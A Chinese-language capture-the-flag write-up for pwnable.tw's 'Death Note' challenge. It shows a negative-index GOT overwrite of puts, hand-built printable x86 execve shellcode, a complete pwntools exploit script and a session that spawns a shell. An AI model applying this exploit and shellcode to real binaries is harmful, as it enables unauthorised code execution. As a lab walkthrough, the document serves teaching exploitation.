Pwnable.tw Death Note Writeup
Pwnablte.tw - Death Note Description
Write the shellcode on your Death Note.
Source https://pwnable.tw/challenge/#10
0x1 Initial Reconnaissance 這題題目直接明講要寫 shellcode,而且從名稱可以猜的出來又是選單題,所以就先來寫他了。
file 1 2 └─$ file death_note death_note: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=547f3a1cf19ffe5798d45def2f4bc5c585af88f5, not stripped
checksec 1 2 3 4 5 6 7 8 9 └─$ checksec death_note [*] '/home/kazma/pwnabletw/deathnote/death_note' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments
./death_note 1 2 3 4 5 6 7 8 9 10 └─$ ./death_note ----------------------------------- DeathNote ----------------------------------- 1. Add a name 2. show a name on the note 3. delete a name int the note 4. Exit ----------------------------------- Your choice :
NX 確實沒開,看一下究竟賣什麼藥讓他可以值 250 分XD
0x2 Reverse Engineering add_note 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned int add_note () { int v1; char s[80 ]; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("Index :" ); v1 = read_int(); if ( v1 > 10 ) { puts ("Out of bound !!" ); exit (0 ); } printf ("Name :" ); read_input(s, 0x50 u); if ( !is_printable(s) ) { puts ("It must be a printable name !" ); exit (-1 ); } *(¬e + v1) = strdup(s); puts ("Done !" ); return __readgsdword(0x14 u) ^ v3; }
main 主要就是控制選單我們就直接跳過,先來看 add_note
。 有很明顯的 oob write,index 只檢查有沒有大於十,沒有檢查下界。 Name 需要是 printable 的,然後長度限制 0x50。 到這邊大概可以確認是要考 Alphanumeric shellcode,長度限制也不會太嚴苛,我們可以透過 oob write 做到 GOT Hijacking, 選一個一定會觸發的 got 這樣也省去 oob read 的步驟。 那關鍵就變成我們 index 要選多少以及要怎麼構建我們的咒語。
0x3 Choose Index 因為我們已經發現 add_note
不會檢查 index 的下界,所以可以 GOT Hijacking,這邊選擇 puts
,如此就不用再花一個步驟 oob read ,因為 add_note
結束前會再執行一次 puts("Done !");
。 先找 puts
的 GOT:
1 2 └─$ readelf -r death_note | grep puts 0804a020 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
再來找全域變數 note
的位置:
1 2 └─$ readelf -s death_note | grep OBJECT | grep note 79: 0804a060 40 OBJECT GLOBAL DEFAULT 26 note
index:(0x0804a020 - 0x0804a060) / 4 = -16
Done!
0x4 Alphanumeric shellcode 我們的目標是要構建出 x86 的 execve('/bin/sh', 0, 0)
並且要是 printable 的。 先來複習一下正常沒有限制的長怎樣,順便叫 AI 幫我們把 byte code 註解在後面:
1 2 3 4 5 6 7 8 9 10 xor eax, eax ; 31 C0 push eax ; 50 push 0x68732f2f ; 68 2F 2F 73 68 push 0x6e69622f ; 68 2F 62 69 6E mov ebx, esp ; 89 E3 push eax ; 50 push ebx ; 53 mov ecx, esp ; 89 E1 mov al, 0xb ; B0 0B int 0x80 ; CD 80
然後確認一下 is_printable
的實作細節:
1 2 3 4 5 6 7 8 9 10 11 int __cdecl is_printable (char *s) { size_t i; for ( i = 0 ; strlen (s) > i; ++i ) { if ( s[i] <= 0x1F || s[i] == 0x7F ) return 0 ; } return 1 ; }
所以 byte code 如果落在這個範圍 s[i] <= 0x1F || s[i] == 0x7F
要替換掉。 等等!?範圍乍看之下不太對勁,大於 0x7f 怎麼好像沒有檢查,動態下去跑發現:
可以從圖片看到 0xc0 是會觸發 jle 的跳轉的,原因是 SF 被設定成 1,在二補數中表示負數,所以可能是 ida 反編譯爛掉 實際上應該是 s[i] <= 0x1F || s[i] >= 0x7F
害我開心了一下 正式來構建我們的咒語:
ebx = [‘/bin/sh\0’] 1 2 3 4 5 push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx
int 0x80 int 0x80 可以拆成兩個在範圍裡的 xor
1 2 3 4 5 6 7 8 9 push edx pop eax push 0x53 pop edx sub byte ptr [eax+39],dl sub byte ptr [eax+40],dl push 0x70 pop edx xor byte ptr [eax+40],dl
最後加上 b”\x20\x43”
eax = 0x0b 1 2 3 4 push ecx pop eax xor al, 0x20 xor al, 0x2b
edx = ecx = 0 ecx 本來就是 0
心得: 主要是看我們挑的 offset 是多少,然後觀察當下的各個暫存器的值去拼湊出來,xor 自由度蠻高的很好用。
0x5 Exploit exploit.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import warningsfrom pwn import *warnings.filterwarnings("ignore" , category=BytesWarning) context.arch = "i386" host = "chall.pwnable.tw" port = 10201 elf = ELF("./death_note" ) if len (sys.argv) > 1 and sys.argv[1 ] == "-r" : r = remote(host, port) else : r = process("./death_note" ) sc = ( asm( """ push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx push edx pop eax push 0x53 pop edx sub byte ptr [eax+39],dl sub byte ptr [eax+40],dl push 0x70 pop edx xor byte ptr [eax+40],dl push ecx pop eax xor al, 0x20 xor al, 0x2b push ecx pop edx """ ) + b"\x20\x43" ) r.sendafter(b":" , "1" ) r.sendafter(b":" , "-16" ) r.sendlineafter(b":" , sc) sleep(1 ) r.sendline("cat /home/`whoami`/flag" ) r.interactive()
result:
1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ python exploit.py -r [*] '/home/kazma/pwnabletw/deathnote/death_note' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments [+] Opening connection to chall.pwnable.tw on port 10201: Done [*] Switching to interactive mode FLAG{sh3llc0d3_is_s0_b34ut1ful} $
因為這邊 payload 都是 printable 的,所以順便印出來感受一下手戳 RCE 的快感:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 └─$ nc chall.pwnable.tw 10201 ----------------------------------- DeathNote ----------------------------------- 1. Add a name 2. show a name on the note 3. delete a name int the note 4. Exit ----------------------------------- Your choice :1 Index :-16 Name :jhh///sh/binT[RXjSZ(P'(P(jpZ0P(QX4 4+QZ C" id uid=1000(death_note) gid=1000(death_note) groups=1000(death_note)
順利成功!
0x6 Pwned!!!